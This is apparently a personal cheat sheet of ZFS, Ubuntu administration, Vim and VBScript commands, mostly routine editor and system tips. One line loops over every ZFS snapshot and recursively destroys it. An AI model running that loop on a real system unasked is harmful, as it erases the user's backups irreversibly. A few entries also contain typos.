# ZFS list snapshots
zfs list -r -t snapshot -o name,creation
# Send snapshot backup
sudo zfs send rpool/USERDATA/tim_e5bkz1@autozsys_zh25vd | sudo zfs receive brpool/USERDATA
# Send incremental backup
sudo zfs send rpool@june15b | sudo zfs receive -Fd brpool
# Mount external hard drive with ZFS
sudo zpool list # Show available pools
sudo zpool import # Shows the brpool name
sudo zpool import brpool # Import brpool
sudo zpool list # Pool now added
# Create a Snapshot with a specific text
sudo zfs snapshot rpool/USERDATA/tim_e5bkz1@june15
# View mounting options for ZFS (zpool)
sudo zfs get 'mountpoint,mounted,canmount' brpool/USERDATA
# zpool status is SUSPENDED
sudo zpool clear brpool
sudo zpool clear -nFX brpool # Or this
# Cleanup rpool space for zfs
zfs list -t snapshot -o name | while read f; do sudo zfs destroy -r $f; done
#############################################################
## Ubuntu - Flashdrive
#############################################################
# Make bootable flashdrive from iso file (ubuntu)
# Startup Disk Creator
# https://ubuntu.com/tutorials/create-a-usb-stick-on-ubuntu#3-launch-startup-disk-creator
# Automount external hard drive
vi /etc/fstab
UUID=E2B4CF51B4CF273F /media/MY_BACKUP auto nosuid,nodev,nofail,x-gvfs-show 0 2
#
# Find out ID by running
sudo fdisk -l
blkls /dev/<DEVICE>
#
# Or find UUID here for the device
ls -l /dev/disk/by-uuid/
# Backup PC in Ubuntu using timeshift (not for zfs)
https://linuxconfig.org/ubuntu-20-04-system-backup-and-restore
# Allow writing to flash drives
sudo chown $USER:$USER /media/<USER>-srto/ -R
#############################################################
## Ubuntu - Update Error
N#############################################################
# Problem: Did a partial upgrade,
# Ubuntu restarted to a black screen and a blinking cursor.
# Fix:
Control + Alt + F2 # At the same time
#
# Login to PC
#
# Finish upgrade
sudo apt update
sudo apt dist-upgrade
sudo startx
#############################################################
## Ubuntu - Drivers
#############################################################
# Reload sound drivers on Ubuntu
sudo alsa force-reload
#############################################################
## Ubuntu - BIOS
#############################################################
# Check BIOS version on the command line (BIOS update).
sudo dmidecode -s bios-version
# Current: N34ET58W (1.58 )
# Old: N34ET52W (1.52 )
# Find serial number in Ubuntu (BIOS update).
sudo dmidecode -t system | grep Serial # PF2SHW37
# Update BIOS on Ubuntu Lenovo
# 1. Download iso file from here:
https://pcsupport.lenovo.com/cz/en/products/laptops-and-netbooks/thinkpad-p-series-laptops/thinkpad-p14s-gen-2-type-20vx--20vy/20vx/20vx0010ge/pf2shw37/downloads/driver-list/component?name=BIOS%2FUEFI&id=5AC6A815-321D-440E-8833-B07A93E0428C
# 2. Flash iso file to harddrive:
Downloads -> Right Click on iso file
-> Open with other
-> Disk image writer.
# 3. Restart PC -> Enter -> F12 -> Select HD.
# Run a system update on Ubuntu
sudo fwupdmgr update # Updates only the firmware.
#
sudo fwupdmgr install N34ET53W.cab
# (Can get the cat file from:
# https://pcsupport.lenovo.com/de/de/downloads/ds548904-bios-update-utility-bootable-cd-for-windows-10-64-bit-thinkpad-p14s-gen-2-p15s-gen-2-t14-gen-2-t15-gen-2
#)
# During startup would see:
Reading ME failed.
# This fixed it:
sudo fwupdmgr reinstall
# Select 'Intel Management Engine' option.
#############################################################
## Ubuntu - Power
#############################################################
# Change Ubuntu from suspending when the lid is closed.
sudo vi /etc/systemd/logind.conf
#
# Do nothing (plus uncomment)
HandleLidSwitch=ignore
#
# Suspend
HandleLidSwitch=suspend
#
# Restart system daemon
sudo systemctl daemon-reload
# Check the battery charging threshold on Linux (Ubuntu)
cat /sys/class/power_supply/BAT0/charge_st*
# Ubuntu prevent auto suspend when closing the lid.
# Check default:
gsettings get org.gnome.settings-daemon.plugins.power lid-close-battery-action # 'suspend'
gsettings get org.gnome.settings-daemon.plugins.power lid-close-ac-action # 'suspend'
#
# Change default:
gsettings set org.gnome.settings-daemon.plugins.power lid-close-battery-action nothing
gsettings set org.gnome.settings-daemon.plugins.power lid-close-ac-action nothing
#
# Didnt WORK!
# Ubuntu prevent auto suspend when closing the lid.
sudo apt install gnome-tweaks
# Start Tweaks -> General
#############################################################
## Ubuntu - X-Server
#############################################################
# On Ubuntu there are 2 X-Servers available during login:
- Wayland
- Xorg
# Wayland is newer and to use screen sharing (share,jitsi) in
chrome enable this:
chrome://flags/#enable-webrtc-pipewire-capturer
# Xorg should be avoided since it can cause a black screen on lock screen
(at least if an extra monitor is connected).
#############################################################
## Ubuntu - Desktop/Tasklist App
#############################################################
# Sample .desktop file to add xair as a favorite program.
cat xair.desktop
[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Name=XAIR
# If file name is to be renamed, also probably need to update this class,
# (as is done now).
# Run:
# xprop WM_CLASS # WM_CLASS(STRING) = "X-AIR-Edit", "X-AIR-Edit"
StartupWMClass=X-AIR-Edit
Exec=/home/tim/git/xair/software/latest/RUN.sh
Icon=/home/tim/git/xair/software/latest/xair.png
#############################################################
## VBA Regex
#############################################################
# Regex for validating input on database
cat data | add_color -r '(?x) ^ (?! ^( (ALLENGINES|ASAPPLICABLE|PW\d+\w+-?\w+)(,|$))+ ((Except:)? (\d{6}-\d{6}|\d{6}) (,|$) )* $ ) .*'
#############################################################
## Vim Strings
#############################################################
# Example of using a multiline string in Vim
#
+ " Perl Data Dumper and other useful features all in one mapping.
+ function PerlDev()
+ let l:PERL_DEV = "
+ \\nuse v5.32;
+ \\nuse Mojo::Util qw(dumper);
+ \\nuse Carp qw( croak confess carp cluck );
+ \\nsub WhoAmI { say '--> ' . (caller(1))[3] }
+ \\nsay 'var: ', dumper $var;
+ \\n$Self->HandleException('message'); # New - Test/*
+ \\n$Selenium->HandleError('message'); # Legacy - script/*
+ \\n
+ \\n"
+
+ put =l:PERL_DEV
+ endfunction
+
+ nnoremap <leader>r :call PerlDev()<CR>
#############################################################
## Vim Quitting
#############################################################
# Exit, saving changes (Vim)
:x
# Exit as long as there have been no changes (Vim)
:q
# Exit and save changes if any have been made (Vim)
ZZ
# Exit and ignore any changes (Vim)
:q!
#############################################################
## Vim Variables
#############################################################
# Do substitution on a string or variable (vim)
let new_variable s = ubstitute("My::Long::Package", "::", "/", "g")
let old_variable = "My::Long::Package"
let new_variable = substitute(old_variable, "::", "/", "g")
# Check if a string or variable contains a pattern (vim)
echo "My::Package" =~ "::" # 1
let var = "My::Package"
if var =~ "::"
echo "Got a perl package"
endif
#############################################################
## Vim File Operations
#############################################################
# Check if a file is readable (vim,exists)
if filereadable(l:filename) == 1
execute "edit" l:filename
else
echohl WarningMsg | echo "File does not exist: " . l:filename | echohl None
endif
#############################################################
## Vim Funtions
#############################################################
# Prefix vim function arguments with a:
let l:filename = a:package_name
#############################################################
## Vim Custom Commands
#############################################################
# Create a custom command with arguments (vim)
+ function CustomEdit(package_name)
+ let l:filename = a:package_name
+
+ if l:filename =~ "::"
+ let l:filename = substitute(l:filename, "::", "/", "g")
+ let l:filename = l:filename . ".pm"
+ endif
+
+ if filereadable(l:filename) == 1
+ execute "edit" l:filename
+ else
+ echohl WarningMsg | echo "File does not exist: " . l:filename | echohl None
+ endif
+
+ endfunction
+
+ :command! -nargs=1 E call CustomEdit(<f-args>)
#############################################################
## Vim Inserting Text
#############################################################
# Insert before cursor (Vim)
i
# Insert before line (Vim)
I
# Append after cursor (Vim)
a
# Append after line (Vim)
A
# Open a new line after current line (Vim)
o
# Open a new line before current line (Vim)
O
# Replace one character (Vim)
r
# Replace many characters (Vim)
R
# Insert 50 characters (Vim)
50i-
50a-
50A-
# Append to the end of a word (Vim)
ea
# Join next line to current line (Vim)
J
3J # join 3 lines (including current)
# Repeat last command (Vim)
.
# Insert a timestamp before each line labeled "SECTION" (Vim,read file,external,run)
:g/SECTION/-1 r !date
# View whitespace, line endings (Vim,hidden)
:set list
# Count the number of each of function call (DES,UI,Vim,variable)
# If there is a space before "\=i", "i" will not be interpreted.
# (same goes for "i++".
:let i=1
:g/myps()/ s!$! // ! | s/$/\=i/ | let i+=1 # In: ui.c
:g/myps(\d\+);/ s!\d\+!\=i! | let i+=1 # In: snvtb.c
# Insert 2 blank lines above "CREATE TABLE" line (Vim)
:g/\v^CREATE TABLE/ :norm 2O
# Append to an option or setting (Vim)
:set tags=abc
:set tags+=def
# Increase indentation (Vim,tab)
>>
# Decrease indentation (Vim,tab)
<<
# Move specific lines to the end of the file (Vim)
:g/item/ :move $
# Move specific lines to the end of the file (Vim)
# Plus next 2 lines
:g/item/ .,+2:move $
# Move current line to the start of file (Vim)
:move 0
:m 0
#############################################################
## Vim Motion
#############################################################
# Move left (Vim)
h
# Move down (Vim)
j
# Move up (Vim)
k
# Move right (Vim)
l
# Move to next word (Vim)
w
# Move to next blank delimited word (Vim)
W
# Move to the beginning of the word (Vim)
b
# Move to the beginning of blank delimited word (Vim)
B
# Move to the end of the word (Vim)
e
# Move to the end of Blank delimited word (Vim)
E
# Move a sentence back (Vim)
(
# Move a sentence forward (Vim)
)
# Move a paragraph back (Vim)
{
# Move a paragraph forward (Vim)
}
# Move to the begining of the line (Vim)
0
# Move to the end of the line (Vim)
$
# Move to the first line of the file (Vim)
1G
# Move to the last line of the file (Vim)
G
# Move to nth line of the file (Vim)
nG
# Move to nth line of the file (Vim)
:n
# Move forward to c (Vim)
fc
# Move back to c (Vim)
Fc
# Move to top of screen (Vim)
H
# Move to middle of screen (Vim)
M
# Move to botton of screen (Vim)
L
# Move to associated ( ), { }, [ ] (Vim)
%
# Go to start of word from anywhere in the word (Vim)
lb
# Select again the last visual selection (Vim)
gv
#############################################################
## Vim Deleting Text
#############################################################
# Delete character to the right of cursor (Vim)
x
# Delete character to the left of cursor (Vim)
X
# Delete to the end of the line (Vim)
D
# Delete current line (Vim)
dd
# Delete current line (Vim)
:d
# Delete text to beginning of line when in insert mode (Vim)
<Control> + u
#############################################################
## Vim Copy(Yank) and Paste Text
#############################################################
# Yank the current line (Vim)
yy
# Yank the current line (Vim)
:y
# Change to the end of the line (Vim)
C
# Change the whole line (Vim)
cc
# Put after the position or after the line (Vim)
p
# Put before the poition or before the line (Vim)
P
# Move block from "SECTION 1" to but not including "SECTION 2" (Vim)
# Move that block to right before "SECTION 3"
:g/SECTION 1/.,/SECTION 2/-1 move /SECTION 3/-1
#
# Approach in perl
perl -lne '$n=/SECTION 1/.../SECTION 2/; push @a,$_ and next if $n and $n !~ /E0$/; if(/SECTION 3/){print for @a}; print' vim_comp
perl -lne 'INIT{$"="\n"} $n=/SECTION 1/.../SECTION 2/; push @a,$_ and next if $n and $n !~ /E0$/; /SECTION 3/ and print "@a"; print' vim_com
# handles multiple such blocks
perl -lne 'INIT{$"="\n"} $n=/SECTION 1/.../SECTION 2/; push @a,$_ and next if $n and $n !~ /E0$/; /SECTION 3/ and print "@a" and undef @a; print' vim_comp
# Delete "SECTION 2" (end marker is "SECTION 3" exclusive (Vim)
:g/SECTION 2/,/SECTION 3/-1d
#
# Approach in perl
perl -lne '$a=/SECTION 2/.../SECTION 3/; print unless $a and $a !~ /E0$/' vim_comp
#############################################################
## Vim Markers
#############################################################
# Set marker c on this line (Vim)
mc
# Go to beginning of marker c line (Vim)
`c
# Go to first non-blank character of marker c line (Vim)
'c
# Same current deletion into buffer 'a' (Vim)
"add
# Paste current contents of buffer 'a' below (Vim)
"ap
#############################################################
## Vim Find/Search for strings
#############################################################
# Search forward for string (Vim)
/string
# Search back for string (Vim)
?string
# Search for next instance of string (Vim)
n
# Search for previous instance of string (Vim)
N
# Jump/Match between openning and closing parenthesis (Vim)
<Shift> + %
# Ignore case when searching (Vim)
:set ic
# Unignore case when searching (Vim)
:set noic
#############################################################
## Vim Find/Search and Replace for strings
#############################################################
# Make every after very magical (Vim,regex)
\v magical \V not_magical
# Replace pattern with string according to flags (Vim)
:s/pattern/string/flags
# Replace pattern with string ask for confirmation of each change (Vim)
:s/pattern/string/gc
# Replace pattern with string in entire file (Vim)
:%s/pattern/string/gc
:1,$s/pattern/string/gc
# Replace pattern with string in range (Vim)
:5,10s/pattern/string/gc
# Allow capturing groups (dollar variables) in substitutions (Vim, search and replace)
# \v for very magical mode
:%s/ \v([a-z]+)::/ <x>\1::/gc
# Positive lookahead (Vim)
# \v(pattern)@=
:%s/ \v([a-z_]+)\v(::)@=/ <x>\1/gc
# Format output from search and replace (Vim, substitution)
# as printf would do. Need to use submatch(1) instead of \1
s/\v(\S+)/submatch(1)/
:'<,'>s/\v(.* )\v(')@=/\=printf('%-60s',submatch(1))/c
# Word Boundary (Vim)
# \b \<
:%s/\<\v([cp]p[ab])@=/l/gc
:h \<
# Find how to use a specific variable (Vim)
:h \<
# Flag - Replace all occurences of pattern (Vim)
g
# Flag - Confirm replaces (Vim)
c
# Repeat last :s command (Vim)
&
# Non greedy search (Vim)
# Preceeding pattern range with "-"
:help non-greedy
{-}
#############################################################
## Vim Replace Placeholders (captures)
#############################################################
# Use capture in vim replace.
# s/\(\d\+\)/\1/
:'<,'>s/eval_result => \zs"\?\(\d\+[^"]\{0,\}\)"\?/qr{
:\1}/gc
#############################################################
## Vim Regular Expressions
#############################################################
# (dot) Any single character except newline (Vim)
.
# zero or more occurances of any character (Vim)
*
# Any single character specified in the set (Vim)
[...]
# Any single character not specified in the set (Vim)
[^...]
# Anchor - beginning of the line (Vim)
^
# Anchor - end of line (Vim)
$
# Anchor - begining of word (Vim)
\<
# Anchor - end of word (Vim)
\>
# Grouping - usually used to group conditions (Vim)
\(...\)
# Contents of nth grouping (Vim)
\n
# Beginning of file (Vim,regex,search)
/%^
# Go to the end of the match (Vim,regex,search)
/regex/e
# Match 0 or more (vim,regex)
# There is no * operator.
s/\d\{0,\}//
#############################################################
## Vim Buffers
#############################################################
# View all opened buffers (files)
:buffers
#############################################################
## Vim Files
#############################################################
# file Write to file (Vim)
:w
# file Read file in after line (Vim)
:r
# Go to next file (Vim)
:n
# Go to previos file (Vim)
:p
# file Edit file (Vim)
:e
# Replace line with output from program (Vim)
!!program
# Open file in readonly mode (Vim)
vi -R file
view file
# Open another file in the same Vim session
:e file2
# Switch between files in Vim
:e#
<Control> + ^
# Write if newer and quit Vim
:x
#############################################################
## Vim Config
#############################################################
# Make vim config file (Vim)
touch ~/.vimrc
# Use boolean environmental variable in vimrc
if !$ON_VM
echo "IF"
else
echo "ELSE"
endif
# Use string environmental variable in vimrc
if $FOO == 'bar'
" Vimscript to execute when the value of
" the env variable FOO equals 'bar'.
else
" Vimscript to execute otherwise.
endif
# Use syntax of the script (Vim)
:syntax on
# Use a more pleasant foreground color (Vim)
:color desert
# Color all matching items (Vim)
:set hlsearch
# Stop coloring all matching items (Vim)
:nohlsearch
# View options set by user (Vim)
:set
# View all options (Vim)
:set all
# Check the value/status of an option (Vim)
:set <option>?
:set ic? # noignorecase
# Show full path, get the head, then the tail (Vim)
:echo expand("%:p:h:t")
# Toggle an option (Vim)
:set number!
:set number!
# View status of current file (filename, Vim)
Control + G
#############################################################
## Vim Abbreviations
#############################################################
# Create an abbreviation (Vim)
# Expands in insert mode after typing "TIM "
:ab TIM Time Is Money
# View all abbreviations set (Vim)
:ab
# View value for an abbreviation (Vim)
:ab TIM
# Remove abbreviation (Vim)
:unab TIM
#############################################################
## Vim Map Command Keys
#############################################################
# View mapped commands (Vim)
:map
# Create a mapping of commands for a particular key (Vim)
# Key 'q' will go down 5 lines and make a new line
:map q 5jo
# Reverse this and the following word (Vim,2 words,demo)
:map r wBdwelpBB
# Move word to the right (Vim)
:map gr "xdiwdwep"xpb
# Move word to the left (Vim)
:map gl lbgr
# Put html markers around a word (Vim)
:map + i<I>^[ea</I>^[
# Make the backslash a map leader (Vim,portable)
# Use leaders for global plugins.
:let mapleader = "\\"
:nnoremap <leader>d dd # Same as:
:nnoremap \d dd
# Make the dash a map local leader (Vim,portable)
# Use local leaders for filetype plugins.
:let maplocalleader = "-"
:nnoremap <localleader>d yyp # Same as:
:nnoremap -d dd
# Create a multiline Vim mapping
nnoremap <leader>r O
\<CR>use v5.32;
\<CR>use Mojo::Util 'dumper';
\<CR>use Carp qw( croak confess carp cluck );
\<CR>say "var: ", dumper $var;
\<CR><ESC>
#############################################################
## Vim Record Macros
#############################################################
# Record a new macro (Vim)
qa # Start recording. Will be put in register "a".
... # Run any commands.
q # Stop recording.
# View recorded macros (Vim)
# ^[ is ESC key
:reg
:reg a
# Replay a macro (Vim,run)
@a
# Replay last macro (Vim,run)
@@
# Repeat movement and commands (Vim)
qq;.q # next, repeat command
11@q # run 11 times
# Number a list of lines (Vim)
:let @c=0 # set value of register (preload)
:let @n=0i^R=^Rc+1^M. ^[0"cywj^[ # will not work with control characters
# Run macro commands in parallel (Vim)
:let @a='0f.r)w~' # load macro
<Shirt> + V + G # Select current line to end
:normal @a # run macro on lines
# Select desired lines in file and run macro on them (Vim,global)
:g /^sched_args/ :normal @c
# Append to existing register (Vim,typo)
qa # start original macro
... # commands
q # stop recording
qA # Captial means append to register "a"
... # Fix typo
q # End
# Indent the description section in primitives_doc file (Vim)
# This commands finds any problems
:g/^\v Syntax:.*\n\n/ .+2,/^\v [a-zA-Z]+:/-2p
#
# This will transform.
# 1. Find all "Syntax:" lines.
# 2. Assume next is blank, so start 2 lines down "+2".
# 3. Search for the next section and end 2 above that "-2".
# 4. Strip any leading space and replace with 6 spaces.
# 5. Strip trailing whitespace.
g/^\v Syntax:.*\n\n/ .+2,/\v^ [a-zA-Z]+:/-2 s/^\v\s*(\S+)@=/ / | s/\s\+$//
#############################################################
## Vim Folding
#############################################################
# Manually fold a sectin (Vim)
v + <move_arrows> + zf
# Fold next 3 lines (Vim)
zf3j
# Allow folding of perl code (Vim)
let perl_fold=1
# Can put in rc file. related to folding. not sure (Vim)
:setlocal foldmethod=syntax
inoremap <F9> <C-O>za
nnoremap <F9> za
onoremap <F9> <C-C>za
vnoremap <F9> zf
# Close a fold (depends on cursor) (Vim)
zc
# Close all fold (depends on cursor) (Vim)
zC
# Open a fold (depends on cursor) (Vim)
zo
# Open all fold (depends on cursor)
zO
# Toggle/Alternate a fold (depends on cursor) (Vim)
za
# Toggle/Alternate all fold (depends on cursor) (Vim)
zA
# Open a single level of folds (depends on cursor) (Vim)
zr
# Open all more level of folds (seems similar to zA) (Vim)
zR
# Close a single level of folds (Vim)
zm
# Close all more level of folds (seems similar to zC) (Vim)
zM
# File should open unfolded (Vim)
set nofoldenable
#############################################################
## Vim Perl
#############################################################
# Help for perl syntax in vim.
:h perl.vim
#############################################################
## Vim Profiling
#############################################################
# Check what is running slow in vim (profile).
:syntime on
# *** Do some slow actions ***
:syntime report
# Start vim with no config file (profiling)
vim -u NONE FILE_NAME
# Exit early from vimrc (Profile,script,exit,return,continue)
finish
#############################################################
## Vim Multiple Screens (Window/Split)
#############################################################
# Split screen horizontally (Vim,up and down)
<Control> + w + s
# Split screen vertically (Vim,left and right)
<Control> + w + v
# Move to the screen below (Vim,multiple)
<Control> + w + j
# Close all other screen (Vim,multiple)
<Control> + w + o
# View the window number of current screen (Vim)
:echo winnr()
# Go to a specific window (Vim,screen)
:1wincmd w
:wincmd w # same
:2wincmd w
# Save all screens (Vim,multiple)
:wall
:wa
# Close all screens (Vim,multiple,quit)
:qall
:qa
# Rotate the windows horizontally (Vim,multiple,screens)
<Control> + w + r
# Show the current window number (Vim,multiple)
:echo winnr()
# Show the current buffer number (Vim,multiple)
:echo bufnr("%")
# Put current windows to the a side (Vim,multiple,screens)
<Control> + w + K # Up
<Control> + w + J # Down
<Control> + w + H # Left
<Control> + w + L # Right
# Load a buffer number (file) into the current window (Vim,multiple)
:hide buf<number>
:hide buf4
# Run command in every buffer (Vim,multiple screens)
:bufdo! %s/ABC/123/g
" Saving .vimrc should reload the buffer.
" Example of running multiple vim commands.
augroup save_vimrc
autocmd!
autocmd bufwritepost $MYVIMRC source $MYVIMRC | bufdo call RemovePerlSyntax()
augroup END
# Close all other windows (Vim,multiple screens)
:on
:on!
:only
:only!
#############################################################
## Vim Sessions (Save and Restore Display)
#############################################################
# Save current display (Vim,session)
:mksession ~/bin/vim/lwp.vim
:mks ~/bin/vim/lwp.vim
# Restore a select display (Vim,session)
vim -S ~/bin/vim/lwp.vim
# Save current display (Vim,session)
# Pressing "-s" will save the display
# Pressing "-r" will restore the last saved display
#############################################################
## Vim Tags
#############################################################
# Create a tags file (Vim)
sudo apt-get install exuberant-ctags
ctags <c_file>
ctags -f $tag -R $source --totals
# Create tags of all OMS functions (Vim)
sudo apt-get install exuberant-ctags
ctags `find ~/omspp/trunk/ -type f -name "*.[ch]" -o -name "*.cpp"`
ctags -f $tag_file $(find $oms_tree -type f -name "*.[ch]" -o -name "*.cpp")
# Jump to the tag/function underneath the cursor (Vim)
<Control> + ]
:tag
# Search for a particular tag (Vim)
:ts <tag>
# Go to the next definition for the last tag (Vim)
:tn
# Go to the previous definition for the last tag (Vim)
:tp
# List all of the definitions of the last tag (Vim)
:ts
# Jump back up in the tag stack (Vim)
<Control> + o # One jump in jump list
<Control> + t # Can be many jumps
#############################################################
## Vim Tab Spacing (Indentation)
#############################################################
# Increase indentation (with autoindent set) (Vim)
<Control> + T
# Descrease indentation (with autoindent set) (Vim)
<Control> + D
# Indent the next 2 lines (Vim)
>2j
# Indent all the lines to the end of the file (Vim)
>G
#############################################################
## Vim Syntax
#############################################################
# Comment lines in vimrc should start with "
" this is a comment
# Name of file that is opened in vim
let _curfile = expand("%:t")
# Show line numbers in vim (vimrc)
set number
# Vim resource (vimrc) file. other features.
set nowrap
set cursorline
hi CursorLine term=bold cterm=bold guibg=Grey40
set cursorcolumn
# Do not go past the end of the file when searching (Vim)
set nowrapscan
# View the current file type of a Vim file
:set filetype?
# Check the file type (Vim,xterm,shell)
file ~/bin/enter_ui.sh
# Force the syntax to be a certain type in Vim
:set syntax=perl
#############################################################
## Vim Case Changing
#############################################################
# Toggle upp and lower case (Vim)
~
# Toggle case of the next three characters (Vim)
3~
# Toggle case of the next three words (Vim)
g~3w
# Toggle case of the current word (inner word - cursor anywhere in word (Vim)
g~iw
# Toggle case of all characters to end of line (Vim)
g~$
# Toggle case of the current line (Vim)
g~~
V~
# Uppercase the visually-selected text (Vim)
v
U
# Lowercase the visually-selected text (Vim)
v
u
# Change the current line to uppercase (Vim)
gUU
VU
# Change the current line to lowercase (Vim)
guu
Vu
# Change current word to uppercase (Vim)
gUiw
# Change current word to lowercase (Vim)
guiw
# Disable Caps Lock (Vim)
xmodmap -e "remove Lock = Caps_Lock" -e "keysym Caps_Lock = Escape"
# Enable Caps Lock (Vim)
xmodmap -e "keysym Escape = Caps_Lock" -e "add Lock = Caps_Lock"
# Other mappings for xmodmap (Vim,Shell)
vi /usr/include/X11/keysymdef.h
#############################################################
## Vim Script/Coding Structures (Functions
#############################################################
# Comparison in conditional (Vim,equal)
:if 1 == 1 | echo "TRUE" | else | echo "FALSE" | endif
# TRUE
# Comparison in conditional (Vim,equal,strings)
:if "abc" == "abc" | echo "TRUE" | else | echo "FALSE" | endif
# TRUE
# Comparison in conditional (Vim,equal,strings)
:if "abc" == "def" | echo "TRUE" | else | echo "FALSE" | endif
# FALSE
# Comparison in conditional (Vim,equal,strings)
:if "10abc" == "10def" | echo "TRUE" | else | echo "FALSE" | endif
# FALSE
# Comparison in conditional (Vim,equal,strings)
# Like perl. Uses leading numbers
:echo "10abc" + "10def"
# 20
# Comparison in conditional (Vim,equal,strings)
# Case sensitive ?
:if "abc" == "Abc" | echo "TRUE" | else | echo "FALSE" | endif
# FALSE
:set ignorecase
:if "abc" == "Abc" | echo "TRUE" | else | echo "FALSE" | endif
# TRUE
# Always use safer form ==? ==#
# ==? - always case insensitive
# ==# - always case sensitive
:if "abc" ==? "Abc" | echo "TRUE" | else | echo "FALSE" | endif
# TRUE
:if "abc" ==# "Abc" | echo "TRUE" | else | echo "FALSE" | endif
# FALSE
#############################################################
## Vim Functions
#############################################################
# Create a function (Vim)
# Must start with a capital letter
:function Abc()
: echo "ABC"
:endfunction
# Define a function to return a value (Vim)
:function Abc()
: return "ABC"
:endfunction
# Call a function (Vim)
# () are required.
:call Abc()
# Return a value from a function (Vim)
# :call will throw away the return value
# Use your function as an expresion instead.
:echo Abc()
# Create function inline (Vim)
# Not really friendly view.
:execute "function A()\necho \"ABC\"\nendfunction"
# Silence function redefinition with "!" (Vim)
:function! ABC()
: echo "ABC"
:endfunction
# Return a sorted list (Vim)
function Sorted(l)
let new_list = deepcopy(a:l)
call sort(new_list)
return new_list
endfunction
:let list = [3,6,1,2]
:echo Sorted(list)
# Save function reference in a scalar variable (Vim)
:let My_func = function("Sorted")
:let list = [3,6,1,2]
:echo Sorted(list)
# Higher order functions (Vim,pass function as parameter/argument)
function! Mapped(f,l)
let new_list = deepcopy(a:l)
call map(new_list, string(a:f) . '(v:val)')
return new_list
endfunction
"
function! Sorted(l)
let new_list = deepcopy(a:l)
call sort(new_list)
return new_list
endfunction
"
:let list = [[3,1,2],[23,12,3]]
:echo Mapped(function("Sorted"),list)
# Inside a map(), 'v:val' is the current item item in the list (Vim,function)
# Like $_ in perl
#############################################################
## Vim Plugins
#############################################################
# Setup plugin manager in Vim
# Download plug.vim
# Save here: ~/.vim/autoload/plug.vim
# Using plugins in vimrc
# Install vim-plug.
sudo apt install nodejs
curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
# Using plugins in vimrc
# Prepend in vimrc
#
call plug#begin('~/.vim/bundle')
"
" Conquerer of Completion
Plug 'neoclide/coc.nvim', {'branch': 'release'}
Plug 'bmeneg/coc-perl'
"
" Solarized - better colors.
Plug 'altercation/vim-colors-solarized'
"
" Tagbar - Show functions.
Plug 'majutsushi/tagbar'
"
" Git Fugitive
Plug 'tpope/vim-fugitive'
" Commands:
" :Gblame - Who broke it?
"
" Git Gutter - git status on the left side.
Plug 'airblade/vim-gitgutter'
"
" GV - A git commit browser.
Plug 'junegunn/gv.vim'
" Commands:
" :GV to open commit browser
" You can pass git log options to the command, e.g. :GV -S foobar -- plugins.
" :GV! will only list commits that affected the current file
" :GV? fills the location list with the revisions of the current file
" :GV or :GV? can be used in visual mode to track the changes in the selected lines.
" Mappings
" o or <cr> on a commit to display the content of it
" o or <cr> on commits to display the diff in the range
" O opens a new tab instead
" gb for :GBrowse
" ]] and [[ to move between commits
" . to start command-line with :Git [CURSOR] SHA à la fugitive
" q or gq to close
"
" Fuzzy search for files mru (most recently used).
Plug 'junegunn/fzf', { 'dir': '~/.fzf', 'do': './install --all' }
Plug 'junegunn/fzf.vim',
Plug 'pbogut/fzf-mru.vim'
"
" Vim Rooter - Change to project root on file open.
Plug 'airblade/vim-rooter'
"
call plug#end()
# Install plugin in vimrc file
:PlugInstall
# Vim plugin - Fuzzy search
:File
# Installing YouCompleteMe (autocomplete for vim).
#
# Original:
apt install build-essential cmake vim-nox python3-dev
apt install mono-complete golang nodejs default-jdk npm
cd ~/.vim/bundle/YouCompleteMe
python3 install.py --all
#
# Tried:
sudo apt install build-essential cmake python3-dev
sudo apt install golang nodejs
cd ~/.vim/bundle/YouCompleteMe
python3 install.py --system-libclang --clang-completer
:YcmdRestartServer
#
# YCM does not seem to work on android.
# Use COC instead.
#############################################################
## Vim Other
#############################################################
# Join lines (Vim)
J
# Repeat last text-changing command (Vim)
.
# Undo last change (Vim)
u
# Undo all changes to line (Vim)
U
# Redo last command (Vim)
<Control> + r
# Diplay file name, number of lines (and percent) (Vim)
<Control> + g
# Type a control character in Vim
Control-V <RET>
# Convert binary to hex (Vim)
:%!xxd
# Comment a block of lines (Vim)
<Control> + v
# Scroll down with arrow keys
<Shift> + i
# Change first line to have a comment
ESC
# all other lines will have same change (comments added)
# Scroll down half a page (Vim)
<Control> + D
# Scroll up half a page (Vim)
<Control> + U
# Find documentaion for a lookahead (Vim)
:h \@
# View Vim variables (Vim)
:set
# History is not working (Vim)
# Check permissions of ~/.viminfo
# View man page (Vim,help)
:h
# Search for spaces (Vim)
/\s\+
# \+ since all are taken literally unless escaped
# If accidentally pressed <Control> + s (Vim)
# that will freeze the terminal. This is due to "flow control"
# Do this to undo the effect:
<Control> + q
#
# To permanently disable this from occurring put this in .bashrc
stty -ixon
# Stop all output to terminal/xterm (Vim)
<Control> + s
# Restart output to terminal/xterm (Vim)
<Control> + q
# ERROR: the command is not available in this version (Vim)
sudo apt-get install vim
# Compare files (Vim)
vimdiff file1 file2 # vertical split
vimdiff -o file1 file2 # horizontal split
# Open multiple files in split screens (Vim(
vim -O file1 file2 # vertical split
vim -o file1 file2 # horizontal split
# View history of searches (Vim)
q/
# View history of commands (Vim)
q:
# Open stream from STDIN (Vim)
echo "abc" | vi -
#############################################################
## Visual Basic Script (.vbs)
#############################################################
# Remove RSIGaurd process (.vbs)
Dim strComputer
DIm objWMIService
Dim colProcessList
Dim objProcess
strComputer = "."
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'RSIGuard.exe'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
#
# Same with perl
perl -e "kill -9,`tasklist`=~/RSIGuard\D+(\d+)/g"
# Convert .msg files to .txt files (extract text from outlook, .vbs)
Set ol = CreateObject("Outlook.Application")
Set fso = CreateObject("Scripting.FileSystemObject")
inputString = "S:\controls\cert\<USER>\msg"
REM inputString = InputBox("Enter the full path to the .msg folder: ")
For Each f In fso.GetFolder(inputString).Files
If LCase(fso.GetExtensionName(f)) = "msg" Then
Set msg = ol.CreateItemFromTemplate(f.Path)
txt_path = Replace(f.Path,".msg",".txt")
txt_path = Replace(txt_path," ","_")
txt_path = Replace(txt_path,"(","_")
txt_path = Replace(txt_path,")","_")
If Not fso.FileExists(txt_path) Then
Set txt = fso.CreateTextFile(txt_path, True)
txt.WriteLine(msg.Body)
End If
End If
Next
MsgBox "Done Converting!"
